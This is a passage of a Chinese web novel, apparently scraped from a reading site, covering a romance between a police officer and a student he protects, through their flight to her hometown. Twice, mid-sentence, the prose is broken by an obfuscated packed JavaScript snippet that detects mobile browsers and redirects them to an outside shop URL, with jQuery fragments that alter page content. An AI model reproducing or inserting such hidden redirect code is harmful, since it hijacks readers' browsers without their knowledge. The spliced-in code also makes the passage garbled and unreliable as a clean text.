触上邓烟雨捎着醉气,湿意朦胧的目光,公冶偏头,清了一声嗓,慌乱地把手搭在后颈上,像个情窦初开的少年。 “那你,”他问,“是怎么想的?” 我怎么想?是问我对他出生在“四一案”当天有什么想法吗? 果然,还是到了这一步,他是只容易受伤的小白羊,要多鼓励安慰才行。 邓烟雨说:“我其实还挺心疼你的。” 这个回答让他云里雾里:“为什么要心疼我?” “这是人之常情吧,”邓烟雨说,“换做是我,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579296|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果可以的话,我都不希望发生这种事。” “……” 他没反应,表面看似波澜不惊,实则已经崩溃了。 这算什么? 我是被拒绝了吗? 她都不希望我喜欢她? 公冶仿佛从邓烟雨亮晶晶的双眸中找到了一丝嘲弄怜悯的意味。 “你要振作起来,这都不是问题,”邓烟雨还在哐哐下猛药,“或许有很多人和你一样凑巧,这种事说到底也是无法人为干涉的嘛。” 公冶满脸茫然,但他首先能确定的一点是:他不是智力有缺陷的人。 所以,对于邓烟雨的这番话,他每个字都听得懂,但连在一起就完全不懂了的这件事,他非常绝望。 好新潮的拒绝方式,完全不会让人受伤。 总感觉哪里不对,他接受不了邓烟雨普度众生式的安慰:“我们是在一个频道上吗?” “嗯?”邓烟雨也被问迷糊了,“什么意思?” “你和我聊的是哪件事?” 邓烟雨呆了几秒,说:“我们不是在聊你的生日吗?” “……” “……” 窗外起风了,有两只小鸟在阳台护栏上蹦蹦跳跳,一架飞机闪着航行灯穿云而出。 “……原来是我生日,”他心脏差点忘记跳了,也庆幸是自己搞错了,面对邓烟雨的无措,他说,“是、是啊,我怕你介意我的生日,那个……” “我不介意的!” “啊好我知道了,”公冶尴尬得脸红温了,起身,“我要说的就是这个,其他没有了,时间不早了你先休息吧。” 邓烟雨也哐地站起:“等等——”你结束了,我还有啊—— 她往前大步一跨,养好不久的脚踝被桌角绊住,整个人朝前摔去。 公冶一把捞住她。 荡落的发丝残留着酒气,邓烟雨的胃磕在他手臂上,极度不适,有什么东西往上涌了,她说:“我好像,我要呕————!” 温热的不明液体顺着衬衫轻薄的面料流下,映出底部的线条。公冶等她哗啦啦一顿吐完,抽了纸巾帮她擦脸。 太丢人了。邓烟雨捂着脸不要他擦,鼻子里呛到了,她不住地咳嗽。 “我就说别一下子喝那么多吧。”餐桌上的几只大酒瓶或立或倒,公冶听到下方传来断断续续的残音:“我以前从没……碰过酒……” “对不起,”她抓过纸,“你衣服被我吐脏了……” “反正要洗的,没事。” “我想洗澡。” “最好不要,你先坐着缓缓。” 她去漱了口,回来喝了公冶泡的蜂蜜水,嚷嚷着要洗澡,公冶说:“再忍忍好不好,你站都站不稳,我不放心你一个人洗澡。” 邓烟雨还没醒酒,轻声说:“你不放心,那和我一起洗呗。” 公冶听见了,慢慢地抱臂,居高临下,有种审犯人的劲儿:“再乱说话我就把你的备注改成女流氓。” “啊?!”邓烟雨跳起来,“那我现在在你手机里的备注是什么?” “全名。” “全名太没情调啦!”邓烟雨喊了声可恶,捶桌,不得已地说,“那就改成女流氓吧。” 公冶:“……” 这人醉得不轻。 她还是去洗了,只用热水冲了冲,洗完出来,房间已温暖如春。 她裹着浴巾躺倒在床上,脚边放着包,里面的衣物还没整理出来,包括极乐送的那条睡裙。 “你啊,更适合成熟的女人。” “成熟的女人——” “成熟!” 管理员大妈的话像魔咒,在耳边循环播放。 是的,她不成熟,她穿帆布鞋,背帆布包,不涂口红也不化妆,她这个年纪应该想着课题,想着顺利毕业,想着毕业后赶紧找工作。 她太嫩了,任何事情上。 所以,没有社会经历、职场经验,就不般配了吗?不是高楼大厦里的白领就不般配了吗? 不就是成熟吗。 邓烟雨拉开包,提出那条多看一眼都害臊的睡裙—— 友知姐,我要上战场了。 公冶换好衣服,站在客厅,看着手中检测仪上的数值:77.6。 极乐说她白天的数值已降至绿色区域,最低值是69,比预期乐观,按照这速度,她马上就可以恢复正常生活。 漫长坚苦的征程迎来了尾声,可他为何没有那种“要解放了”的畅意? 卧室门打开了,公冶坐在沙发上,正填写记录表,听见声响,说:“来吃点水果吧。” 水果盘里切着新鲜的猕猴桃,用来解酒的。 走廊上没动静,也没响起脚步声,他心觉奇怪,叫道:“邓烟雨?” “在……在。” 邓烟雨深吸一口气,缩着肩膀走向亮堂的客厅,走进他的视野,公冶以为自己眼花了,还认真地看了眼。 真丝睡袍在灯光下流淌,堆出玫瑰花般暗红的光泽,里面是同色的纯欲风蕾丝吊带睡裙。 她恍如被泼了一身红酒,衣红肤白。 “……” 一时间,空气都僵硬得不知该怎么流动。 邓烟雨多少有点后悔,可她已经没退路了,她必须要为自己的冲动买单。 她把头发掖到耳后,尽量成熟地朝他笑了一下:“今、今晚好热呀。” 啪嗒。 水笔从公冶手中滑落,砸在全透明的玻璃茶几上。 44. His Smile 他目光简直移不开,抓了两下才抓住手机,点开天气预报,再看她:“现在一度。” “……嗯。” “我没开地暖。” “……嗯。” “你热?” 她不语,走过去,捧起他的脸:“你看,我手是暖的。” 公冶的大脑嗡一声,瘫痪了。 太近了。 太近了太近了太近了,哪来的香味? 他一动不动任由她捧着。 “是吧?”她的指尖偷偷拂过他逐渐发烫的耳廓,“我以前一到冬天就手脚冰凉,今天可暖了。” 公冶像被掐住了七寸,邓烟雨俯身,歪头打量他,问他:“那个,我这条裙子好看吗?” 这个角度太禁忌了,他努力维持着清醒,牙齿条件反射咬在嘴唇内壁。 他闭眼:“好看的,快去换了。” “好看为什么要换?” “这衣服太大,你穿……”他快要忍不住了,一字一顿,“不合适。” “尺码是大了,没办法,这是友知姐的,”邓烟雨在他身旁坐下,双足缩上来用裙子团住,“这样就不冷了,我今天幸运色是红色,让我再穿会儿。” 手机这时来了消息—— 极乐:【我就帮到这了】 极乐:【组长,不用谢(一个军礼)】 有病! 公冶一把将手机反扣。 他要把极乐的全勤扣光! 为什么我的组员一个个都不是正常人啊! 极乐恶魔的笑声响彻大脑,他快受不了了。 余光里影影绰绰,公冶拿起笔,对一旁自娱自乐的邓烟雨说:“你不会把今天管理员阿姨的话听进去了吧?” 邓烟雨一抖。 公冶叹气:“我都说了别在意,而且成熟,不单单指这方面。” 邓烟雨探出脑袋,观察他的表情变化:“那是指哪方面?” 笔尖墨水洇染白纸,字迹略微松散。 “你的眼界,你的胸怀,你的精神世界,去看,去学习,去享受,”公冶侧首正视她,“都是在丰富自己的内在,让自己成熟起来。” 吃进嘴里的猕猴桃凉凉的,她心口却一暖:“嗯。” 邓烟雨往他肩膀轻轻一靠:“旅游算吗?” “算啊,我不想上班了就请年假,出去旅游。” “我没钱旅游。” “那就去赚钱,赚够了就出发。” 邓烟雨甜甜一笑:“我要去巴塞罗那。” 一上来就整这么远。 “公冶警官,你第一次旅游去了哪里?” “老家隔壁一个小县城的生态牧场,帮忙挤牛奶。” 邓烟雨露出羡慕的小表情。 “跟着牧场的工人干了一天活,那边日落很美,酸奶也好吃,他们还让我给其中一头奶牛取名字。” “哇,你给它取了什么名字?” “多莉。” “多莉?” “因为它长得好像《海底总动员》里那条擅长失忆的蓝唐王鱼。” 邓烟雨一边听他讲以前的趣事,一边吃吃猕猴桃、夸夸他,他不讲了,她就看他填表。 “标记值呈明显下降趋势,无反复攀升情况,预计半月之后可终止近身保护工作,”邓烟雨读着读着一愣,“夜间保护要结束了?” “是的,顺利的话下周结束,你就可以回归正常生活了。”公冶点了个句号收尾。 嘴里的猕猴桃顿时不甜了,她放下叉子。 这代表她要离开他家了? “原以为要等年后才好转,还担心你过年回不去,现在好了,机票都可以订起来了,”公冶轻松说着,在表头签名,填上日期,“大学放假了么?” “……上周放了,”邓烟雨五味杂陈,转着银叉,说,“我缓考申请也批过了。” “你白天已经没问题,以后可以自由出入,不用再待我家里。”公冶淡然地把笔一按,记录表塞进透明文件袋里。 “那我晚上还是橙色,”她不依不饶寻找突破口,“也没有绝对安全。” “晚上我依然会负责,公寓的窗户该修好了吧,到时候搬回去,我夜间会在附近执勤。” “那样的话,”她还在为自己争取一线生机,“你岂不是更累。” “最后冲刺阶段,”公冶敲了一下腰,“我开心还来不及,累什么。” 开心?!我走了他开心?! 他生硬无情的态度让邓烟雨恍惚以为自己听错了。 天下没有不散的筵席,她总有一天要回到原来的生活,这些日子在他家住习惯了,蛋宝也把她当女主人宠着,她便耽溺在这场梦境里,实则人家正眼巴巴等她味消了,好请走这尊难伺候的佛呢。 邓烟雨心灰意冷。 也对,他又不是自己男朋友,她继续住下去算什么道理? 那就趁现在把他变成自己男朋友。 可现在表白会不会显得太刻意了?他一紧张不答应怎么办?这个男人关键时刻也会掉链子,和她一样。 邓烟雨盯着他衬衫下的背肌,团在裙子里的脚伸了出来,垂下沙发。 “如果再有人被标记,你也会把她接来你家住吗?” “不会。” “为什么?” 公冶停顿片刻,带有温度的目光落在她身上:“我让你住我家,不是因为你被标记了。” 邓烟雨显然没明白这句话的深意,露出了疑惑的表情。 “被标记的人应该非常怕美食家才对,他们不希望公美来保护自己,公美也不会主动请缨接这种任务,”公冶说,“你不要对我们的工作有误解,其实标记事件原先不归特发科管,前段时间局里调不出警力,才特事特办由我们接手。让公美保护被美食家标记的受害者本就不合常理。” 邓烟雨听懂了:“所以按照正常流程,我应该受到公安民警的保护?” “是的。” “公冶警官,这工作……有钱拿吗?” 问到点上了。他微妙地沉默后,说:“我这个月工资跟打发要饭的。” 邓烟雨心也跟着凉了,垂下头:“所以你打心底也厌烦我?” 这项工作害得他日夜颠倒作息紊乱,第一天就被一个最低等的混血稀美打断了肋骨,他睡觉都要气醒,但这和她无关。 “傻瓜啊,我怎么可能厌烦你,只是反感各级之间推诿扯皮,”对着涉世未深的大学生,公冶聊不到知无不言那一步,“等你以后踏入职场,就知道这其中滋味了。” “这滋味我希望一辈子不用知道,”邓烟雨在看手机,“你的傻瓜师父想和你提个要求。” “嗯?” 他一开始没明白什么情况,直到她跨坐上来,他猛地后撤,撞上沙发靠背。 “我查了,下个月七号除夕,”她说着,扔了手机,双臂撑在靠背上,把高大的男人圈在怀里,压制着他,“让我再住三个星期,求你了。” 这是求人的姿势吗! “我很民主的,不逼你,你自个儿好好想想。”邓烟雨温言软语地说。 “我知道了,让你住,”公冶进退两难,“你快起来。” 邓烟雨得逞地笑了。 他的小獠牙露出来了,可爱死啦。 公冶困在她的身影下,抬起头和她对视:“笑什么?” 她指指自己唇边:“这,我看到尖牙了。” “那还不撤开,”他绿眸沉沉的,镇定自若,“我现在‘很危险’。” “才不,你控制不住了会推开我。” 他并不反抗,只是叹气,说:“胆子好大。” 邓烟雨笑吟吟地挠他头发:“真的好蓬松哦,可以扎一个小揪揪。” 他缓缓握住她的手,邓烟雨被他搞得猝不及防:“干嘛?不让我摸?” “你还说你不冷,是要把自己冻坏不成?”公冶放开她凉透的手。 邓烟雨指着沙发上的毯子:“没事,盖它就好。” “那毯子比印度飞饼还薄。” 公冶把她“端”下来,去给她找衣服了。邓烟雨这会儿黏他黏得紧,上哪都跟着,还没到房门口,他就拿着一件黑色加长羽绒服出来,往她身上一裹。 上面残留着冬日空房间里的镇静气味。 邓烟雨把鼻子埋在里面:“你居然有羽绒服?” “去年歌华有多冷,记得么。” “我记得,零下十几度,真的冷到窗户结冰。” “我们春节期间要跟着特警外出巡逻,当时还出了案子,连续好几晚屯警街面,我感冒了,撑不住就买了羽绒服。” “天呐,你不会请假呀?” “大过年的,特发科要走一半的人,都回老家了,”拉链丝滑一提,邓烟雨半张脸淹没在黑色高领里,他眼角有不着痕迹的笑,“缺人啊,我走不开。” “好辛苦啊。”她深刻体会到基层的不易,往沙发上一坐,羽绒蓬松地弹起了她,接着遭受重力慢慢放气扁下去。 衣服长得曳地,她像包圆内的馅,被严实地卷在里头,挣扎半天,勉强挤出眼睛。 邓烟雨见过夜间执勤的巡逻队,难以想象,公冶身穿作训服端枪执勤的样子会有多帅。 “你今年还要跟去吗?” “不知道,没定,”公冶蹲在电视机前,挑着夜里看的光碟,“我现在以你为优先,工作强度也取决于你。” “那本上仙赐你今年春节不要再上街挨冻了。” “谢谢上仙。” 加大的“男友外套”限制了她的人身自由,邓烟雨一招鲤鱼打挺,艰难地立直了,企鹅似的溜过去:“我陪你看吧。” “你不困?” “白天睡多了,你要看什么?” “《咒怨》。” “……”邓烟雨两眼发直,瞪着碟片上披头散发的恐怖女鬼,“哇靠?你不是不敢看鬼片吗?!” 公冶没想到她反应那么大:“极乐和你说的?” “对呀。” “我被蝶衣带出来了,现在敢了,就这部,三遍了。” 邓烟雨:“……”上帝呀他出师了!!! “你不敢看?” 邓烟雨可怜地点头:“嗯。” “那就……”公冶丢掉从楼梯上爬下来的厉鬼伽椰子,从一大堆CD盒下翻出一口枯井,“《午夜凶铃》?” “这不也是鬼片吗?!”还是贞子大神! 厄运退散厄运退散厄运退散——邓烟雨在心里疯狂合十默念。 公冶不以为然地挑眉:“我觉得她比伽椰子好一点。” “贞子比伽椰子厉害好不好?” “你研究过啊?” “我哪敢研究啊,”邓烟雨欲哭无泪,“快点拿走,我不要看见这些,半夜会做噩梦的。” 公冶赶紧把女鬼们藏起来,邓烟雨说:“说我胆子大,你胆子才大……” 他据实交代:“我看鬼片是为了提神,最近晚上我总是犯困。” 邓烟雨想出个妙招:“你要提神,我有办法呀,你把灯关了,我就穿着红色睡裙,披着头发,站在你面前……” “你不敢看鬼片,但敢扮鬼?” “我怕被吓,但是让我去吓人,想想就有意思。” 公冶背上冷汗都出来了,果然师父还是师父。 “你有什么想看的?” 邓烟雨不假思索:“爱情片,我们直接看电视上的。” “我会员都到期了,免费的片子不好看。” 邓烟雨沮丧:“续费啊小蠢蛋,大几百的发夹头绳说买就买,十块的会员借天借地。” “这是什么,我怎么有《小鹿斑比》?”公冶挑出这张光盘,上面是一头用尾巴逗蝴蝶的梅花鹿。 公冶:“这个可以吗?” 当我小孩耍呢:“这个有爱情吗?” “有啊,”他较真地说,“斑比后来谈恋爱了,还和情敌打架了呢。” 邓烟雨:“……” 看她眼神就知道,她对两头鹿的爱情故事没兴趣。 既然如此,那只能拿出他的压箱底了:“《泰坦尼克号》怎么样?” “我要看,”邓烟雨眼神发亮,惊喜道,“你有吗?” 公冶翻找一遍,再翻找一遍,再翻找—— “我可能借给同事了,”他找了三圈不见,难办地说,“碟片不在我这。” 邓烟雨失望透顶。 “斑比看一下呗?” “我不要。” “伽椰子给个机会?” “我不要伽椰子!!!” “那你去睡觉吧,”公冶毫无怜香惜玉之意,仗着被偏爱有恃无恐,“我今晚就想看《咒怨》。” 见他不肯让步,邓烟雨缩成小小一团,委曲求全地说:“那我陪你。” 她超级怕,连CD盒上不算太惊悚的女鬼脸也不敢多瞟一眼。 公冶心软了。 “不看不看,我也看腻了,对提神没帮助。” 邓烟雨:“……”这说的是人话吗? 他收拾好碟片,打开电视机:“我开到电影频道,有啥看啥。” “好,”邓烟雨灵机一动,说,“打个赌,是爱情电影你就要奖励我。” “这个点估计在放科幻片吧。” 画面跳转至电影频道,上面播着中山美穗主演的爱情电影《情书》,正放了个雪地里的开头。 “哇,我赢了!”是她喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579297|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢看的,邓烟雨兴高采烈,摇着公冶胳膊,“我就说吧。” “要什么奖励?” 他问得干脆,邓烟雨没有防备,一下子卡住了。 雪呼呼地下,覆盖着小镇与山林,片刻,她鼓起勇气说:“你以后不要叫我全名了。” 公冶垂落视线:“那我该怎么叫你?” “你自己想,”邓烟雨把难题甩给他,“想想该怎么叫我。” “邓女士。” 邓烟雨冲他微笑:“杀了你哦。” 总不可能喊她邓丫头吧,金刀他们这样喊挺自然,公冶却叫不出口。 “你偏要连名带姓叫我么?” 公冶望着渡边博子跑下茫茫雪地,思索一阵,脱口而出:“小雨。” 听极乐随口一提的,这是她小名,他记住了。 背景音乐《HisSmile》沉淀着无法言喻的伤感,舒缓长响,博子的身影已远如黑点,邓烟雨裹在他的羽绒服里不出声,公冶侧头,轻轻盯着安静的她,淡笑道:“就叫你小雨了。” 2月1日,大寒已过,漫天飞雪。 早晨的天色不明朗,铅云密布,和不久前电影里的基调极为肖似。公冶开车抵达单位,参加年终总结及节前工作部署会议。 办公室难得开了空调,在一成不变的警服包围下,他身上的灰色毛衣显得格格不入。 “少见你穿毛衣,很冷吗?”领导还没来,响尾倚在桌角,给自己组里的三名女同事发过节小红包。 窗外雪景盛大,静落眼前,公冶的工位靠窗,没暖气还真是冷。他把刚领的小银管锁进抽屉,说:“也就最近开始怕冷,奇怪了。” 有几个人不约而同去看他。 他今天和以往有些不同,慵懒的侧影淡淡逆在雪光里,黑发遮着眼睫,一身居家打扮。 杀萝目不转睛瞧了会儿,问极乐:“谈恋爱了?” 极乐吸进嘴的果汁差点喷了。 “老大来了,走走走上楼开会啦!”金刀在门口拉风地吼道。 会议室角落闲置着一张桌子,上面放了一大束红玫瑰,开会期间大家的眼睛虽然都跟着熊小滚,但注意力完全被花束吸引走了。 “今年还要额外表扬影青,夜间保护工作落实到位,执行得不错。” “不要讽刺我了。” 同事连忙起哄:“没有没有,哥,咋啥事都往坏处想呢。” “口头表扬你决计听腻了,所以破费——”熊小滚将那捧花抱来,看样子是要交给公冶,“买了束花,望君笑纳,不想笑纳就转赠给你金屋里那位吧。” 公冶目瞪口呆,一众女同事羡慕疯了,只有暮火关心一处:“破的费,不会是我们部门的公费吧?” 集体整齐划一地陷入沉默。 “老大!你咋能动我们的小金库!” “难不成我自掏腰包?你们啊,少脑补点玛丽苏,多读点书吧,”熊小滚和蔼可亲地教育道,一手叉腰,一手竖着本子,“对了,你早前和我提的,邓烟雨不是要回老家吗,她这个星期怎么样?” “一路绿灯,降得太快了。” 七海在捡桌子底下掉的笔,闷闷来了句:“这难道是——爱的迫降——”咚一声,后脑勺磕得满室回音,把斗香笑得掉下桌去,被暮火一把拉起:“她康复得真快,是苏赞首次标记的缘故吧。” “那就不是保护,”杀萝犀利地指出,“是同居了。” “咦咦咦,我嗅到了一股味。” “什么味?” “恋爱的酸——” “瞎话等下去再聊,”熊小滚眼神示意那边来劲的女生,“她目前最高标记值多少?” “76.6,从这周起数值就没上过70了。” “好的,那就从上个月三十号开始算,受害者标记值全天降至绿色区域,需观察十日无反常情况,方可结束近身保护工作,也就是说,”熊小滚抱臂,“到八号没事情,你俩就可以解放了。” “八号过年了,”公冶翻出手机里的日历,“正好春节。她除夕晚上要回灯港。” 簪鱼说:“这两天可以蒙混过去么,耽误妹妹回家吃团圆饭可不好。” “行不行得看老大呢,”极乐转着笔,“您一诺千金。” “机票订没?” “没,”公冶说,“歌华飞灯港的航班坐不满,我跟她说了,等我这边消息确定再买。” “确定了,让她今天就买吧,除夕夜回去没关系。” “好。”公冶点开微信正要打字,便听熊小滚说:“两张。” 所有人齐刷刷抬头,公冶说:“干嘛要两张?你也要去?” “我去什么,”熊小滚站累了,撑桌坐下来,“让你买两张的意思是请你这两天也跟去,任务结束再回来。凡事请坚持到最后一刻。” 会议室鸦雀无声。 “服从命令,”熊小滚手指上方,“谈过了,达成一致才告诉你的。标记事件就是不确定因素太多,一天也含糊不得。” “那是灯港,”半天,公冶憋出一声,“您这是要把我发配边疆?” 同事埋头捂嘴,搁那儿开启震动模式。 金刀叫他想开点:“你就在那过完春节回来嘛,当旅游了。” 有人问:“灯港有什么好玩的?” “美食家发源地。” “地广人稀,物美价廉,有山有水,古城巨多。” “那边的烤包子好吃。” “哦真的吗?” 大伙其乐融融聚一块交流了,谁也没心思顾及影青同志的死活。 他很久没缓过劲来。 “这要报销,”他咬了咬牙,说,“往返一趟很贵的。” 领导惬意地靠着椅背:“给你报的。啊还有,你到了灯港,记得和那边的县局、分所,都打个照面啊。” “等等,我把邓烟雨的资料转给那边的分所不行吗,让他们代我两天。” “行,就是手续麻烦点,但是,”熊小滚沉声道,“他们人手不够,我们对他们也缺少了解,你有信心把邓烟雨交给他们保证不出任何差错吗?” 公冶:“……” 熊小滚:“好好干活吧,别想着偷懒。” 会议结束,公冶与领导再三协商,接受了自己“被流放”的事实。 回到车里,他给邓烟雨发了消息:【机票我来买】 半分钟过去,那边来了一个问号。 【机票不便宜,你再有钱也不能这么乱花】 邓烟雨刚要放下手机,聊天界面弹出消息: 【领导要我和你一起去,机票钱我们来出】 【单位报销】 “……” 邓烟雨瞪着这两行字,当场傻掉。 45. 狮城 我牵肠挂肚地爱你——美食家 下午两点半,首都国际机场。 航班号GL1413的登机广播响起,邓烟雨再度检查机票,看向身旁的人,他显然也听见了,正和电话那端说着“改日再聊”。 领导一通电话见缝插针打了进来,公冶只好接起,似乎是要事,他皱着眉嗯了好几声,缓慢站起,跟邓烟雨指了指登机口,意思是“我们先过去”。 “好,好的。没有没有,我肯定是服从安排的。” 对面不是熊小滚,所以他语气谦卑多了,还陪领导笑,邓烟雨仰头,这不完全在假笑吗,打工人不容易,都在流放的路上了还要远程上朝。 那天,收到他要陪自己回灯港的消息,邓烟雨开心地哇哇叫,心情像坐了过山车跌宕起伏,冲进卧室抓着休眠的蛋宝使劲问:“这算度蜜月吗?” 蛋宝答不上来,两颗豆豆眼在屏幕里稀里哗啦乱晃。 金曦转了邓烟雨一笔零花钱,让她买好吃的,还在家庭群里包了大红包,邓烟雨点慢了,但还是抢了手气最佳,加上零花钱,她下单了几件在购物车躺很久的漂亮衣服,因为店铺不同,有三四个包裹。 所以当她接到快递员电话,踏着雀跃的步伐开门迎接时,公冶渡莲正好一手玫瑰一手公司年货,警装笔挺地站在家门口。 他没管邓烟雨脸上的惊喜,先扫了眼地上的快递,再看看她,唇角勾着些许笑意往里走:“哇,朝廷的赈灾粮发下来了。” 邓烟雨脸红,往后一退。 “公冶警官,这束花是?” “送你的。” 他转身,塞到邓烟雨怀中。 丝绒质感的深红玫瑰,纯正,饱满,高昂地盛放着,每一朵散发着充满爱意的香气,虽然只用简单的牛皮纸包装着,但这是她人生中收到的第一束花,来自她最喜欢的那个人亲手送给她的。 “我好喜欢,”邓烟雨抱着花,目光灼灼地凝视他,“好喜欢啊。” 没花一分钱就将她这副表情尽收眼底,公冶有点吃心,却还是说:“这是熊警官加上特发科全员送给你的。” 邓烟雨愣住了。 “当然也包括我的一份心意,还有,我们部门想送你一个祝福,”公冶右手撑着玄关柜,左手叉腰,望着她,霸道又真挚地献上祝福,“邓烟雨,提前祝你新年快乐,希望你身体快快好起来,以后也不要再为自己灯港人的身份自卑,你的身后,有我们。” 花香馥郁,邓烟雨呆了半天,抱紧了花,说:“谢谢……” 她擦了擦眼睛:“啊,我要哭了,笨蛋,你上午不就是去开个会吗,怎么一回来就搞煽情啊。” 公冶边走边懒懒地说:“哥哥们就煽一次。” “信你个鬼,上次捏我的脸还说就捏一次,结果呢!” “真的,我们不搞这套,”公冶在开冰箱,声音遥遥传来,“你的公美姐姐们就不一定了。” 邓烟雨破涕为笑。 “你怎么换衣服了?” “赵局和简局来了,就我一个穿自己衣服有点显眼,所以换了。” 他咬着冰淇淋自带的勺子,回话含糊。 “没冻着吧?你今天一早喊好冷,我以为你又要感冒了。” “拜托,你空调制冷了。” “哈哈哈哈,我开了一晚上诶?不好意思,我和我妈打视频电话来着,聊嗨了没注意啊啊啊你偷吃我冰淇淋!你不是说你不能吃的嘛!” “偶尔吃不要紧的,”公冶把冰淇淋举高,她跳起来也够不到,“我等等就下单再给你买一盒,不要抢了。” 邓烟雨作罢:“你真要陪我去灯港?” “陪到8号。” “和我在灯港过年嘛。” “饶了我吧,”他苦笑,“人生地不熟,我被你卖了怎么办?” “你把我想成什么了,我哪有那种渠道,”邓烟雨欣赏千金难换的花,再欣赏这个千金难买的男人,笑道,“而且我哪敢卖你呀,不等钱到手,我就先被你铐走了。” 她埋着脸蛋,藏在花后,纯红的花瓣轻轻扫过她的睫毛,比那一晚还醉心。 如果条件允许,他一定会把这一幕拍下来,裱起来,心情不好就看一看,但这样会不会太变态了? 此时此刻的他不这么想了,他非常需要“抱着玫瑰花的小雨”治愈他啊! 公冶挂断电话:“地球爆炸吧,我不想上班了。” 邓烟雨一脸崇拜:“哥哥哥哥,你打电话的样子真帅,要是地球爆炸了,我还怎么看你帅帅地打电话呢?” 公冶缓缓低头,狐疑地问:“你硬夸啊?” “是的,”邓烟雨大笑,“哈哈哈哈,笑死我了。” “别叫我‘哥哥’。” “为什么,上次你还说你是我的哥哥。” “什么时候?” “就你代表特发科全体成员送我祝福的时候,男公美是我的哥哥,女公美是我的姐姐。” 原来她还记着,这下好了,自己挖的坑,哭着也得跳。 公冶不是排斥她这么称呼自己,几个年纪小的女同事也喊过他“哥”,没什么奇怪的,偏偏换成邓烟雨,他心会乱。 长长的登机桥通道阻隔了候机厅的喧嚣,抗压地毯一路铺出,耳边响起不知何种机器的静谧运作声,两侧玻璃外的阳光晒着航站楼和停机坪,数不清的跑道上有客机在滑行,尽头舱门那,深紫制服的空姐笑意美好欢迎着各位。 “下午好,欢迎登机。” 邓烟雨走在前面,和欢迎她的温婉空姐点了下头,往里去时,便听那位空姐柔声说:“先生您好,需要和您确认是否携带镇血剂。” 排在后面的两个小年轻露出惊疑的表情,他们多半没见过美食家。 公冶将大衣口袋里的小银管拿出来给她看,空姐微微欠身:“好的,感谢您的配合,欢迎登机,祝旅途愉快。” 之前在登机口被工作人员例行检查了一次,结果上飞机前还要检查,没完没了地掏进掏出,不过机场也是为了保障旅客的安全出行,看似重复的环节却是必要的。 邓烟雨等他进来再往里走。他们的位置靠近后排,邓烟雨坐靠窗,正管自己调节着安全带长短,左侧传来一声:“哇,珍美?第一次见呢。” 她抬头,一个穿搭时髦的大姐姐放好行李,冲公冶一笑。坐了下来。她妆容靓丽,眼眸笑得璀璨:“还是个帅哥,可算不虚此行了。” 公冶出于礼貌打招呼,她热情似火地贴过来,和他畅所欲言,聊了没两句就搭肩膀。 邓烟雨傻看着,一句话也插不上。 大姐姐压根没注意里边有“小孩”,她对美食家抱有浓厚的兴趣,自来熟地问东问西,公冶还蛮羡慕这种性格。 “你是警察呀?真看不出来,我以为你模特,”她喜出望外,“公美都长成你这样吗,那简直碾压现在的男团了!” 她的笑声引来过道上好些视线。 “珠宝设计师,”听她自报家门,公冶随便一猜,“BCU读回来的么?” “哎呀,你看人好准!我是在那儿学了珠宝,”她双手拍在一起,“不过我一开始是学国画的。” “纯艺啊,那后来怎么做珠宝了?” “靠纯艺吃饭等于逆天而行,你别看现在艺术家名堂比天大,他们也需要商业包装,不然谁给他们出这个名,”她像是遇上知心人了,倾吐衷肠,“张岱有句话说,劳碌半生皆成梦幻,我要玩高风亮节那一套,下场指不定多惨呢……啊不对,我还没有张岱雄厚的家业,要不然坐吃山空也不失为一种消遣。” 公冶笑了。许是职业关系,女人十分健谈活泼,他虽然爱听,但也有点跟不上节奏,就等着小雨解围,可邓烟雨早就灵魂出窍了,哪有空组织语言。 “里面是你的妹妹吗?” 邓烟雨一愣,和大姐姐斗胆对视,内心不禁夸赞她好美,再看看公冶,人忽然蒙了。 俊男靓女,搭得没王法。 “不是,”邓烟雨冷静下来,语气难掩消极,“我是他朋友。” 公冶眸色微不可察地一沉。 “女士们先生们,下午好,欢迎您选乘古洛国际航空公司GL1413次航班由歌华前往灯港……” 第二段英文出来后,大姐姐指着上方的广播轻笑打趣:“你听,她英文说得很流利呢。” 邓烟雨轻抠背包带子,拉链下坠着那只在法国餐厅抽来的公美娃娃,她在飞机起飞期间一直对它捏扁搓圆,听他们从珠宝行业聊到国际时事,每一个话题见闻都在刷新拓宽她的眼界。她当然向往,却涉足不了他们的领域,自觉见识短浅又万般苦恼,索性塞上耳机望着窗外。 傍晚5点35分,飞机准时落地灯港的机场。 下了飞机,邓烟雨去取托运行李。她站在慢腾腾旋动的行李转盘前,自己的东西来了也没察觉,还盯着吐行李的黑口,公冶伸手提了她的箱子。 她如梦初醒:“哎呀,我发呆了,对不起。” 公冶抽出行李箱拉杆,垂眸仔细看了她一眼,欲说什么,被她强颜欢笑的几句闲话打断了。 边陲的天暗得晚,临近六点仍天光大好,邓烟雨的老家在狮城小镇,是灯港下面最大的县城,前年建起了地铁,通行便捷许多。 他们乘上二号线。灯港依山而建,地铁往空中高架开,穿楼绕山,一抬头就可以望见远方丹霞地貌的山景,它们的岩层侵蚀出流动感,绵延万里,被自然之力打磨得巍峨斑斓,在巨大西沉的日暮里,拔起一片荒悍气象。 灯港即便吃了十余年的战争炮火,依然美得支离破碎。 三十分钟后,广播喊着“狮城到了”。一出地铁站,迎面的冬风入味了一股烤肉香,此地乔木多,没有居民区,香味兴许是摊子上飘来的。 “要买点吃的么,”公冶怕她饿坏了,“你在飞机上就没吃东西。” “没事,我回家吃。”邓烟雨这般说着,行李箱也坚持自己提。 